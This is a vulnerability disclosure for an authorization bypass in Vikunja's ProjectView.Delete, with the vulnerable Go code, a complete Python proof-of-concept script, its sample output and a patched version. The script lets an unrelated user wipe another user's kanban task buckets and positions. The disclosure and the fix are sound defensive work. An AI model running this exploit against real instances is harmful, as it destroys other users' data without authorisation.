Vikunja CVE-2026-55065

func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    _, err = s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).   // (a) scoped - OK
        Delete(&ProjectView{})
    if err != nil {
        return
    }

    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{})    // (b) UNSCOPED
    if err != nil {
        return
    }

    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})  // (c) UNSCOPED
    return
}

type ProjectView struct {
    ID        int64 `xorm:"autoincr not null unique pk" json:"id" param:"view"`
    ...
    ProjectID int64 `xorm:"not null index" json:"project_id" param:"project"`
    ...
}

a.DELETE("/projects/:project/views/:view", projectViewProvider.DeleteWeb)

func (pv *ProjectView) CanDelete(s *xorm.Session, a web.Auth) (bool, error) {
    if isInstanceAdmin(s, a) {
        return true, nil
    }
    filterID := GetSavedFilterIDFromProjectID(pv.ProjectID)
    if filterID > 0 { ... }

    pp := pv.getProject()              // = &Project{ID: pv.ProjectID}  (URL path)
    return pp.IsAdmin(s, a)            // only checks admin on URL :project
}

# As the attacker, with valid JWT:
PUT /api/v1/projects                     -> create throwaway project (ID = P_A)
DELETE /api/v1/projects/P_A/views/V      -> V is ANY view ID in the instance

#!/usr/bin/env python3
"""
PoC: Cross-project destruction of task_buckets / task_positions via ProjectView.Delete
Target: Vikunja
Severity: HIGH - CVSS 8.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:3456
"""

import requests
import sys

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:3456")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v1"

VICTIM_USER = "victim_poc"
VICTIM_PASS = "VictimPocPassword!2025"
ATTACKER_USER = "attacker_poc"
ATTACKER_PASS = "AttackerPocPassword!2025"

BANNER = """
=====================================================================
  PoC: Cross-Project Kanban Destruction via ProjectView.Delete
  Severity: HIGH (CVSS 8.1)
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helpers ----

def register(username, password):
    requests.post(f"{API}/register", json={
        "username": username,
        "email":    f"{username}@poc.local",
        "password": password,
    })
# ignore 400 if user already exists

def login(username, password):
    r = requests.post(f"{API}/login", json={
        "username": username, "password": password,
    })
    r.raise_for_status()
    return r.json()["token"]

def auth(token):
    return {"Authorization": f"Bearer {token}",
            "Content-Type":  "application/json"}
# ---- Victim setup: project + kanban view + tasks + bucket assignments ----

print("[*] Setting up VICTIM (target)")
register(VICTIM_USER, VICTIM_PASS)
vt = login(VICTIM_USER, VICTIM_PASS)
# Create a project (kanban view + default buckets are created automatically).
proj = requests.put(f"{API}/projects",
                    headers=auth(vt),
                    json={"title": "Victim Project"}).json()
victim_pid = proj["id"]
# Find the auto-created kanban view.
views = requests.get(f"{API}/projects/{victim_pid}/views",
                     headers=auth(vt)).json()
kanban_view = next(v for v in views if v["view_kind"] == "kanban")
victim_vid  = kanban_view["id"]
# Drop a few tasks into the project - Vikunja will auto-place them in the
# default bucket of the kanban view, populating `task_buckets`.
task_ids = []
for i in range(3):
    t = requests.put(f"{API}/projects/{victim_pid}/tasks",
                     headers=auth(vt),
                     json={"title": f"Victim task {i}"}).json()
    task_ids.append(t["id"])
# Touching the view via the bucket endpoint forces task_position rows to
# materialise. Read the buckets-with-tasks endpoint once.
requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
)
# Confirm the kanban state has populated buckets+tasks.
buckets = requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
).json()
total_tasks_before = sum(len(b.get("tasks") or []) for b in buckets)
print(f"[*] Victim project={victim_pid}, view={victim_vid}, "
      f"tasks_in_buckets BEFORE = {total_tasks_before}")
assert total_tasks_before > 0, "PoC requires at least 1 task in the kanban"
# ---- Attacker setup: a throwaway project owned by the attacker ----

print("\n[*] Setting up ATTACKER (any user can do this)")
register(ATTACKER_USER, ATTACKER_PASS)
at = login(ATTACKER_USER, ATTACKER_PASS)

p_a = requests.put(f"{API}/projects",
                   headers=auth(at),
                   json={"title": "Attacker Throwaway"}).json()
attacker_pid = p_a["id"]
print(f"[*] Attacker project = {attacker_pid} "
      f"(attacker is Admin via OwnerID)")
# ---- ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: trainer-equivalent - wipe victim's kanban via own project")
print(f"{'='*65}")

resp = requests.delete(
    f"{API}/projects/{attacker_pid}/views/{victim_vid}",
    headers=auth(at),
)
print(f"\n  DELETE /api/v1/projects/{attacker_pid}/views/{victim_vid}")
print(f"  (Logged in as: {ATTACKER_USER}, "
      f"who is NOT a member of victim project {victim_pid})")
print(f"  Response: HTTP {resp.status_code}  body={resp.text!r}")
# ---- VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")
# View must still exist (the scoped first delete didn't match).
views_after = requests.get(f"{API}/projects/{victim_pid}/views",
                           headers=auth(vt)).json()
view_still_there = any(v["id"] == victim_vid for v in views_after)
# But the buckets-with-tasks should now be empty (task_buckets wiped).
buckets_after = requests.get(
    f"{API}/projects/{victim_pid}/views/{victim_vid}/buckets",
    headers=auth(vt),
).json()
total_tasks_after = sum(len(b.get("tasks") or []) for b in buckets_after)

print(f"\n  View {victim_vid} still exists?           {view_still_there}")
print(f"  Tasks in buckets BEFORE attack:           {total_tasks_before}")
print(f"  Tasks in buckets AFTER attack:            {total_tasks_after}")

if view_still_there and total_tasks_after == 0 and total_tasks_before > 0:
    print("""
  +-----------------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                        |
  |                                                                 |
  |  An unrelated user destroyed every task->bucket assignment      |
  |  and every task position in another user's kanban view, using   |
  |  only a self-owned throwaway project as the URL :project.       |
  |                                                                 |
  |  - The view itself survives (first scoped delete matched 0).    |
  |  - Tasks themselves survive.                                    |
  |  - task_buckets and task_positions for the view are gone.       |
  |  - Recovery requires restoring from backup.                     |
  +-----------------------------------------------------------------+
""")
else:
    print("\n  Attack did not land - patched build or unexpected state.")

=====================================================================
  PoC: Cross-Project Kanban Destruction via ProjectView.Delete
  Severity: HIGH (CVSS 8.1)
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[*] Setting up VICTIM (target)
[*] Victim project=42, view=87, tasks_in_buckets BEFORE = 3

[*] Setting up ATTACKER (any user can do this)
[*] Attacker project = 43 (attacker is Admin via OwnerID)

=================================================================
  ATTACK: trainer-equivalent - wipe victim's kanban via own project
=================================================================

  DELETE /api/v1/projects/43/views/87
  (Logged in as: attacker_poc, who is NOT a member of victim project 42)
  Response: HTTP 200  body='{"message":"Successfully deleted."}'

=================================================================
  VERIFICATION
=================================================================

  View 87 still exists?           True
  Tasks in buckets BEFORE attack:           3
  Tasks in buckets AFTER attack:            0

  +-----------------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                        |
  |                                                                 |
  |  An unrelated user destroyed every task->bucket assignment      |
  |  and every task position in another user's kanban view, using   |
  |  only a self-owned throwaway project as the URL :project.       |
  |                                                                 |
  |  - The view itself survives (first scoped delete matched 0).    |
  |  - Tasks themselves survive.                                    |
  |  - task_buckets and task_positions for the view are gone.       |
  |  - Recovery requires restoring from backup.                     |
  +-----------------------------------------------------------------+

func (pv *ProjectView) Delete(s *xorm.Session, _ web.Auth) (err error) {
    affected, err := s.
        Where("id = ? AND project_id = ?", pv.ID, pv.ProjectID).
        Delete(&ProjectView{})
    if err != nil {
        return
    }
    if affected == 0 {
        // Either the view doesn't exist, or it doesn't belong to pv.ProjectID.
        // Either way, do not cascade - return an error so the API responds 404.
        return ErrProjectViewDoesNotExist{ProjectViewID: pv.ID}
    }

    if _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskBucket{}); err != nil {
        return
    }
    _, err = s.Where("project_view_id = ?", pv.ID).Delete(&TaskPosition{})
    return
}